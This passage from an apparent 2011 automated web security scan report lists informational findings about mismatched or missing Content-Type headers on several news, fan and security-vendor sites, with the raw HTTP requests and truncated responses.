ETag: "10645f0-a0b-57f42f40"
Accept-Ranges: bytes
Content-Length: 2571
Content-Type: text/css

<style type="text/css">

/*Credits: Dynamic Drive CSS Library */
/*URL: http://www.dynamicdrive.com/style/ */

.aerobuttonmenu{ /*container that holds a row of aero buttons*/
overflow: hidden; /*See:
...[SNIP]...

29.53. http://www.fanpeeps.com/horizontaltabs1.css previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.fanpeeps.com
Path:	/horizontaltabs1.css

Issue detail

The response contains the following Content-type statement:

Content-Type: text/css

The response states that it contains CSS. However, it actually appears to contain HTML.

Request

GET /horizontaltabs1.css HTTP/1.1
Host: www.fanpeeps.com
Proxy-Connection: keep-alive
Referer: http://www.fanpeeps.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=181893936.1305373774.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=181893936.1520938759.1305373774.1305373774.1305376380.2; __utmc=181893936; __utmb=181893936.4.10.1305376380; PHPSESSID=9a60411f58fb3454c5f556257e253120

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:44 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Mon, 22 Mar 2010 07:07:01 GMT
ETag: "10645ef-4e4-57f42f40"
Accept-Ranges: bytes
Content-Length: 1252
Content-Type: text/css

<style type="text/css">

/*Credits: Dynamic Drive CSS Library */
/*URL: http://www.dynamicdrive.com/style/ */

#tabs {
   float:left;
   width:100%;
   font: bold 13px Arial;
   font-family: Arial, arial;
   l
...[SNIP]...

29.54. http://www.google.com/realtimejs previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.google.com
Path:	/realtimejs

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain CSS.

Request

Response

29.55. http://www.idolpeeps.com/images/peep3/subjects/1th.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.idolpeeps.com
Path:	/images/peep3/subjects/1th.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /images/peep3/subjects/1th.jpg HTTP/1.1
Host: www.idolpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/ncaa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Fri, 19 Mar 2010 00:30:18 GMT
ETag: "11984dc-423-73a91a80"
Accept-Ranges: bytes
Content-Length: 1059
Content-Type: image/jpeg

GIF87a..........|.....<BD...\b\.......".lr|...LRL...\bt............TVd...42,......dnt.
.LJL|.....tz|...T^\......ljl...............<:<lj|...DJT...,*,.........T^t...............DB<...lfdlr.TRTdft....
.T
...[SNIP]...

29.56. http://www.idolpeeps.com/images/peep3/subjects/2th.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.idolpeeps.com
Path:	/images/peep3/subjects/2th.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /images/peep3/subjects/2th.jpg HTTP/1.1
Host: www.idolpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/ncaa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Fri, 19 Mar 2010 00:30:18 GMT
ETag: "119851e-426-73a91a80"
Accept-Ranges: bytes
Content-Length: 1062
Content-Type: image/jpeg

GIF87a........F4\n4,j\l.|,^<d.dDzl.VD..TDnD..4t~D\zTDb4..\\.l.VD$R4,^L.N4DjL.^D<r\dzL|.lt.L<jL<^4T.t...l~T..|.N4\zdl.lLrLlr,Tz\<bL$^D.J4..|TnD..T$V<.N4|.|..t.J<4jTl.T.V<LrD,fTt.\<f<t.lTrT$^T.J4\vLt.t4
...[SNIP]...

29.57. http://www.idolpeeps.com/images/peep3/subjects/3th.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.idolpeeps.com
Path:	/images/peep3/subjects/3th.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /images/peep3/subjects/3th.jpg HTTP/1.1
Host: www.idolpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/ncaa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Fri, 19 Mar 2010 00:30:18 GMT
ETag: "119851f-292-73a91a80"
Accept-Ranges: bytes
Content-Length: 658
Content-Type: image/jpeg

GIF87a.........D|..<R|.6d$:\.B..&L.6T...dv..*d$Fl<^..6t...<Nd..L.Bd..T$Ft.>d.2d.>l.J|DR|....Bt$Nt....6dL^|.>d....6t..T..L,Ft..<4Z.$>l.*\.:d...l...Bd..\.2d.:tLf.....&\.6d..d.:|.......:d..D<V....tz.,F\.
...[SNIP]...

29.58. http://www.idolpeeps.com/images/peep3/subjects/4th.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.idolpeeps.com
Path:	/images/peep3/subjects/4th.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /images/peep3/subjects/4th.jpg HTTP/1.1
Host: www.idolpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/ncaa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Fri, 19 Mar 2010 00:30:18 GMT
ETag: "1198520-28e-73a91a80"
Accept-Ranges: bytes
Content-Length: 654
Content-Type: image/jpeg

GIF87a.........D|..4Z|....>\\v.......,Nl..TLj.$Bdl...............6TDb|4Vt.&D..........Fdd~....4NlTr.$Jd.>\t...:\.&T<Ztdz.....2\Tn.t...........Lf|......4Rl......\z.....2T$Fd.......:\Df|.*L......,Jl.Bd<
...[SNIP]...

29.59. http://www.idolpeeps.com/images/peep3/subjects/5th.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.idolpeeps.com
Path:	/images/peep3/subjects/5th.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /images/peep3/subjects/5th.jpg HTTP/1.1
Host: www.idolpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/ncaa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Fri, 19 Mar 2010 00:30:18 GMT
ETag: "1198521-423-73a91a80"
Accept-Ranges: bytes
Content-Length: 1059
Content-Type: image/jpeg

GIF87a........&D..,......TZL..$..LtnD.....<<FL..T..Ttr\..4..$,:T..,...LZ...L.~$<F|..<..\..ddf<..\......TVD..\..44FL..L...tvD...LN<..t..D..\$*l...lb4..<tnl..4,>l..,..l..L.z<..,.....T..\.....LDR...d..T.
...[SNIP]...

29.60. http://www.idolpeeps.com/images/peep3/subjects/6th.jpg previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.idolpeeps.com
Path:	/images/peep3/subjects/6th.jpg

Issue detail

The response contains the following Content-type statement:

Content-Type: image/jpeg

The response states that it contains a JPEG image. However, it actually appears to contain a GIF image.

Request

GET /images/peep3/subjects/6th.jpg HTTP/1.1
Host: www.idolpeeps.com
Proxy-Connection: keep-alive
Referer: http://fanpeeps.com/ncaa
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:33:00 GMT
Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.7a mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 PHP/5.2.5
Last-Modified: Fri, 19 Mar 2010 00:30:18 GMT
ETag: "1198522-28a-73a91a80"
Accept-Ranges: bytes
Content-Length: 650
Content-Type: image/jpeg

GIF87a........J...$..T.f...T.v..f$..<..l..T..<..l.n..v4.Z...l.n$..T..<..d.f...|..l.n..~<.b...4..d.~$..L..d..L.n4.R...4.j...T.j4..L..|.zD.b...\.z..j$..T..<..l.r..z<.^..r,..d..L..|.r..N...,..\.f...\..D.
...[SNIP]...

29.61. http://www.marketwatch.com/bg/api/Pickup.ashx previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.marketwatch.com
Path:	/bg/api/Pickup.ashx

Issue detail

The response contains the following Content-type statement:

Content-Type: application/json

The response states that it contains JSON. However, it actually appears to contain plain text.

Request

POST /bg/api/Pickup.ashx HTTP/1.1
Host: www.marketwatch.com
Proxy-Connection: keep-alive
Referer: http://www.marketwatch.com/story/citigroups-new-look-is-plainly-cosmetic-2011-05-13?link=MW_story_investinginsightb
Origin: http://www.marketwatch.com
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Content-Type: application/x-www-form-urlencoded
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: mw5_prefs=mox=False&exp=5/14/2013; mw5_ads=seen=16; __g_u=314598747735047_1_0.01_0_5_1305799975264; s_vnum=1307959980006%26vn%3D1; refresh=off; BIZO=biz=1053&; ASP.NET_SessionId=oz1fwf5bs4it123trqmlzxnf; __g_c=w%3A1%7Cb%3A4%7Cc%3A314598747735047%7Cd%3A1%7Ca%3A0%7Ce%3A0.01%7Cf%3A0; s_cc=true; s_invisit=true; s_sq=%5B%5BB%5D%5D; rsi_csl=lA; rsi_segs=G07608_10001; _chartbeat2=g73giwkwwxj3e1nb
Content-Length: 97

c=%7B%22c%22%3A%220c8f036565f84fffbd7534eb709bd65c%22%2C%22s%22%3A%2210.241.41.141%22%7D&m=%5B%5D

Response

29.62. http://www.mcafeesecure.com/include/js/global.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.mcafeesecure.com
Path:	/include/js/global.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /include/js/global.js HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/us/products/buy_now.jsp?tab=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.3.10.1305377534; adclick=1103-2

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:17 GMT
Expires: Thu, 19 May 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9952
Connection: close
Date: Sat, 14 May 2011 12:52:29 GMT

// *****************************************************************
// * addLoadEvent *
// ******************************************************
...[SNIP]...

29.63. http://www.mcafeesecure.com/include/js/home_menu.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.mcafeesecure.com
Path:	/include/js/home_menu.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /include/js/home_menu.js HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/us/products/buy_now.jsp?tab=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.3.10.1305377534; adclick=1103-2

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:18 GMT
Expires: Thu, 19 May 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 4883
Connection: close
Date: Sat, 14 May 2011 12:52:29 GMT

try{
document.execCommand("BackgroundImageCache",false,true);
}catch(err){
}

//if (window.attachEvent) window.attachEvent("onload", menuHover);
if (window.attachEvent) window.attachEvent("onlo
...[SNIP]...

29.64. http://www.mcafeesecure.com/include/js/menu.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.mcafeesecure.com
Path:	/include/js/menu.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /include/js/menu.js HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/us/products/buy_now.jsp?tab=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.3.10.1305377534; adclick=1103-2

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:17 GMT
Expires: Thu, 19 May 2011 17:25:06 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 5011
Connection: close
Date: Sat, 14 May 2011 12:52:29 GMT

   uHover = function() {
   if (!document.getElementsByTagName) return false;
   var uEls = document.getElementById("utility-navigation").getElementsByTagName("li");
   for (var i=0; i<uEls.length; i++) {
...[SNIP]...

29.65. http://www.mcafeesecure.com/include/js/menutabs.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.mcafeesecure.com
Path:	/include/js/menutabs.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /include/js/menutabs.js HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/us/products/buy_now.jsp?tab=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.3.10.1305377534; adclick=1103-2

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:17 GMT
Expires: Thu, 19 May 2011 17:22:01 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 2709
Connection: close
Date: Sat, 14 May 2011 12:52:29 GMT

/*
Copyright 2009 McAfee, Inc. All Rights Reserved.
Author: Manikandan Rajasekaran, Ramanand Yadwadkar
*/

// * allows multiple ON LOAD functions to be called *
// * DO NOT
...[SNIP]...

29.66. http://www.mcafeesecure.com/include/js/slideshow.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.mcafeesecure.com
Path:	/include/js/slideshow.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /include/js/slideshow.js HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/us/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; adclick=1103-2; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.5.10.1305377534

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:25 GMT
Expires: Thu, 19 May 2011 17:22:03 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3332
Connection: close
Date: Sat, 14 May 2011 12:53:32 GMT

var seqslides=new Array()
//Set Path to Image plus optional URL ("" for no URL):
if(document.getElementById('promo-top')!= null){
seqslides[0]=["/images/relaunch/homepage/home_customer_1.gif", ""
...[SNIP]...

29.67. http://www.mcafeesecure.com/include/js/tabs.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.mcafeesecure.com
Path:	/include/js/tabs.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

GET /include/js/tabs.js HTTP/1.1
Host: www.mcafeesecure.com
Proxy-Connection: keep-alive
Referer: http://www.mcafeesecure.com/us/products/buy_now.jsp?tab=1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: resin=1724539402.20480.0000; __utmx=185732405.; __utmxx=185732405.; __utmz=185732405.1305377534.1.1.utmcsr=server.iad.liveperson.net|utmccn=(referral)|utmcmd=referral|utmcct=/hcp/integration/hackersafe/hackersafe-grey.html; __utma=185732405.396205410.1305377534.1305377534.1305377534.1; __utmc=185732405; __utmb=185732405.3.10.1305377534; adclick=1103-2

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:17 GMT
Expires: Thu, 19 May 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1278
Connection: close
Date: Sat, 14 May 2011 12:52:29 GMT

/*
Tab Navigation.
Author: Manikandan Rajasekaran
*/
function clearAllTheTabs(ts)
{
for( k=1; k<=ts; k++ )
   {
       document.getElementById('link'+k).className='normal';
       document.getElementBy
...[SNIP]...

29.68. https://www.mcafeesecure.com/include/js/global.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.mcafeesecure.com
Path:	/include/js/global.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

29.69. https://www.mcafeesecure.com/include/js/home_menu.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.mcafeesecure.com
Path:	/include/js/home_menu.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

29.70. https://www.mcafeesecure.com/include/js/menu.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.mcafeesecure.com
Path:	/include/js/menu.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

29.71. https://www.mcafeesecure.com/include/js/menutabs.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.mcafeesecure.com
Path:	/include/js/menutabs.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

29.72. https://www.mcafeesecure.com/include/js/tabs.js previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	https://www.mcafeesecure.com
Path:	/include/js/tabs.js

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=utf-8

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

HTTP/1.1 200 OK
Server: McAfeeSecure
Last-Modified: Fri, 29 Apr 2011 04:49:17 GMT
Expires: Thu, 19 May 2011 17:22:02 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 1278
Connection: close
Date: Sat, 14 May 2011 12:52:43 GMT

/*
Tab Navigation.
Author: Manikandan Rajasekaran
*/
function clearAllTheTabs(ts)
{
for( k=1; k<=ts; k++ )
   {
       document.getElementById('link'+k).className='normal';
       document.getElementBy
...[SNIP]...

29.73. http://www.siteadvisor.com/images/logo.gif previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.siteadvisor.com
Path:	/images/logo.gif

Issue detail

The response contains the following Content-type statement:

Content-Type: image/gif

The response states that it contains a GIF image. However, it actually appears to contain a PNG image.

Request

GET /images/logo.gif HTTP/1.1
Host: www.siteadvisor.com
Proxy-Connection: keep-alive
Referer: http://www.siteadvisor.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Sat, 14 May 2011 12:53:46 GMT
Server: Apache
Last-Modified: Tue, 29 Mar 2011 13:51:01 GMT
ETag: "609d3e-984-49f9f59bcbb40"
Accept-Ranges: bytes
Content-Length: 2436
Content-Type: image/gif

.PNG
.
...IHDR................N....sRGB.........gAMA......a.....PLTE..0..=. J.0W.@d.Pq.`~.p..........................................................................................................
...[SNIP]...

29.74. http://www.smartmoney.com/remote/commentHandler/do/commentcount/ previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.smartmoney.com
Path:	/remote/commentHandler/do/commentcount/

Issue detail

The response contains the following Content-type statement:

Content-Type: text/html; charset=UTF-8

The response states that it contains HTML. However, it actually appears to contain JSON.

Request

GET /remote/commentHandler/do/commentcount/?id=heavy-metal-debate-silver-vs-gold-1305310258887&type=story&_=1305368029757 HTTP/1.1
Host: www.smartmoney.com
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: text/javascript, text/html, application/xml, text/xml, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: djcs_route=65a08c08-94ef-4153-a49e-58cc26e0596f; smintromsg1=true; smintromsg1e=true; __utmz=205638161.1305368018.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vnum=1307960020151%26vn%3D1; s_dbfe=1305368020152; s_cc=true; s_invisit=true; s_sq=djglobal%2Cdjsm%3D%2526pid%253DSM_Home%252520Page_0_0_SH_0001%2526pidt%253D1%2526oid%253Dhttp%25253A//www.smartmoney.com/invest/strategies/heavy-metal-debate-silver-vs-gold-1305310258887/%2526ot%253DA; __utma=205638161.1117820965.1305368018.1305368018.1305368018.1; __utmc=205638161; __utmb=205638161.2.10.1305368018

Response

HTTP/1.1 200 OK
Cneonction: close
Date: Sat, 14 May 2011 11:02:04 GMT
Content-Type: text/html; charset=UTF-8
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Vary: Accept-Encoding
Content-Length: 38

{"ERRORMSG":"","ERROR":"0","DATA":"4"}

30. Content type is not specified previous
There are 4 instances of this issue:

http://dowjones.tt.omtrdc.net/m2/dowjones/mbox/standard
http://lq.smartmoney.net/q
http://server.iad.liveperson.net/hc/10599399/
http://traffic.outbrain.com/network/redir

Issue description

If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

30.1. http://dowjones.tt.omtrdc.net/m2/dowjones/mbox/standard previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://dowjones.tt.omtrdc.net
Path:	/m2/dowjones/mbox/standard

Request

Response

HTTP/1.1 200 OK
Content-Length: 103
Date: Sat, 14 May 2011 10:24:11 GMT
Server: Test & Target

mboxFactories.get('default').get('ArticleRedesignKeyword',0).setOffer(new mboxOfferDefault()).loaded();

30.2. http://lq.smartmoney.net/q previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://lq.smartmoney.net
Path:	/q

Request

GET /q?t=7AE71BC5724184E7B815731A2337F83B&0.7635391806252301&_=1305368021720 HTTP/1.1
Host: lq.smartmoney.net
Proxy-Connection: keep-alive
Referer: http://www.smartmoney.com/?zone=intromessage
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.68 Safari/534.24
Accept: */*
